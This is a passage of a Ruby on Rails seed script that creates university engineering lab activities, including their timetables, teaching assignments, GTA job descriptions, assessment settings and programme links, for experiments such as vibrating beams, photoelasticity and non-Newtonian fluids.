user_id: 1)\n at243 = ActivityTimetable.where(activity_id: a243.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a243.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a243.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a243.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a243.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a243.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a244 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"530\").first_or_create!(name: \"Vibrating Beam 1\",\n name_abrv: \"VIBBEAM1\", archived: false, in_drive: false, user_id: 1)\n at244 = ActivityTimetable.where(activity_id: a244.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a244.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a244.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a244.id).first_or_create!(assess_weight: nil, notes: \"Formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a244.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a244.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a245 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER291\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 3)\n at245 = ActivityTimetable.where(activity_id: a245.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a245.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a245.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a245.id).first_or_create!(assess_weight: 20.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a245.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a245.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a246 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC201\").first.id, code: \"531\").first_or_create!(name: \"Vibrating Beam 2\",\n name_abrv: \"VIBBEAM2\", archived: false, in_drive: false, user_id: 2)\n at246 = ActivityTimetable.where(activity_id: a246.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a246.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a246.id).first_or_create!(criteria: \"\",\n job_desc:\"Second year dynamics labs. Now split into 2. First lab 1 hour introductory session. \n Second lab 2 hour data collection lab.\n Fairly involved lab.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a246.id).first_or_create!(assess_weight: 10.0, notes: \"Lab report assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a246.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a246.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a247 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"545AE\").first_or_create!(name: \"Compressors 2 and Rolling Spheres\",\n name_abrv: \"Compressors 2\", archived: false, in_drive: false, user_id: 1)\n at247 = ActivityTimetable.where(activity_id: a247.id).first_or_create!(duration: 40, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a247.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a247.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a247.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a247.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a247.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a248 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR124\").first.id, code: \"533\").first_or_create!(name: \"Band Break Friction\",\n name_abrv: \"FRICTION\", archived: false, in_drive: false, user_id: 1)\n at248 = ActivityTimetable.where(activity_id: a248.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a248.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a248.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a248.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a248.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a248.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a249 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR301\").first.id, code: \"534\").first_or_create!(name: \"Wear\",\n name_abrv: \"Wear\", archived: false, in_drive: false, user_id: 1)\n at249 = ActivityTimetable.where(activity_id: a249.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 21, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a249.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a249.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a249.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a249.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a249.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a250 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"535\").first_or_create!(name: \"Photoelasticity\",\n name_abrv: \"PE\", archived: false, in_drive: false, user_id: 1)\n at250 = ActivityTimetable.where(activity_id: a250.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a250.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a250.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a250.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a250.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a250.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a251 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"536\").first_or_create!(name: \"Digital Image Correllation\",\n name_abrv: \"DIC\", archived: false, in_drive: false, user_id: 5)\n at251 = ActivityTimetable.where(activity_id: a251.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a251.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a251.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a251.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a251.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a251.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a252 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"537\").first_or_create!(name: \"Strain Guages\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at252 = ActivityTimetable.where(activity_id: a252.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a252.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a252.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a252.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a252.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a252.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a253 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC444\").first.id, code: \"538\").first_or_create!(name: \"Dynamics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at253 = ActivityTimetable.where(activity_id: a253.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a253.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a253.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a253.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a253.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a253.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a254 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV4505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at254 = ActivityTimetable.where(activity_id: a254.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a254.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a254.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a254.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a254.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a254.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a255 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6505\").first.id, code: \"539\").first_or_create!(name: \"Triaxial\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at255 = ActivityTimetable.where(activity_id: a255.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 120, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a255.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a255.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a255.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a255.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a255.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a256 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at256 = ActivityTimetable.where(activity_id: a256.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a256.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a256.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a256.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a256.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a256.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a257 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"234\").first_or_create!(name: \"Hole in Plate: Photoelasticity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at257 = ActivityTimetable.where(activity_id: a257.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 480, takedown_time: 480, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a257.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a257.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a257.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a257.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a257.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a258 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at258 = ActivityTimetable.where(activity_id: a258.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: 40, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at258.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a258.id).first_or_create!(user_id: 5, g_drive_link: \"https://goo.gl/EhURKE\",\n mole_pub_link: \"https://goo.gl/FX6rau\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a258.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a258.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a258.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a258.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a259 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"541\").first_or_create!(name: \"Hole in Plate: Mohr's Circles\",\n name_abrv: \"HOLEPLATE\", archived: false, in_drive: false, user_id: 1)\n at259 = ActivityTimetable.where(activity_id: a259.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Needs Shimadzu\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at259.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a259.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a259.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"GTA in MEE, the Diamond: Structures Labs\", marking_time: nil, staff_ratio: 15.0)\n ActivityAssess.where(activity_id: a259.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 3)\n ActivityTech.where(activity_id: a259.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a259.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a260 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER380\").first.id, code: \"313\").first_or_create!(name: \"Aircraft Design\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at260 = ActivityTimetable.where(activity_id: a260.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_apl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 15, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a260.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a260.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"This experiment involves helping students build an aircraft which they have designed in the Merlin flight simulators. Once they hacve successfully built the aircraft, they will perform a test flight of the aircraft in order to assess the capabilities in relation to the design brief provided by the module leader. An interest in aircraft design and flight performance would therefore be desirable for this role.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a260.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a260.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a260.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a261 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode7\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at261 = ActivityTimetable.where(activity_id: a261.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a261.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a261.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a261.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a261.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a261.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a262 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"433\").first_or_create!(name: \"Non Newtonian Fluids\",\n name_abrv: \"OOBLECK\", archived: false, in_drive: false, user_id: 3)\n at262 = ActivityTimetable.where(activity_id: a262.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 10, max_week_num: 10, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 120, takedown_time: 180, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a262.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y8rsrucr\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a262.id).first_or_create!(criteria: \"Some knowledge of the behaviour of fluids in shear (rheology) would be beneficial.\",\n job_desc:\"Playing with cornflour and water.\", jobshop_desc: \"GTA in MEE, the Diamond: Fluids Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a262.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 1)\n ActivityTech.where(activity_id: a262.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a262.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a263 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AER123\").first.id, code: \"100\").first_or_create!(name: \"AC Circuits\",\n name_abrv: \"ACC\", archived: false, in_drive: false, user_id: 1)\n at263 = ActivityTimetable.where(activity_id: a263.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 7, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 25, notes: \"\",\n capacity: 100, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a263.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"AC Circuits\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a263.id).first_or_create!(criteria: \"Must be confident with use of oscilloscope, digital multimeter and signal generator\n Must understand simple passive filter networks (RC, 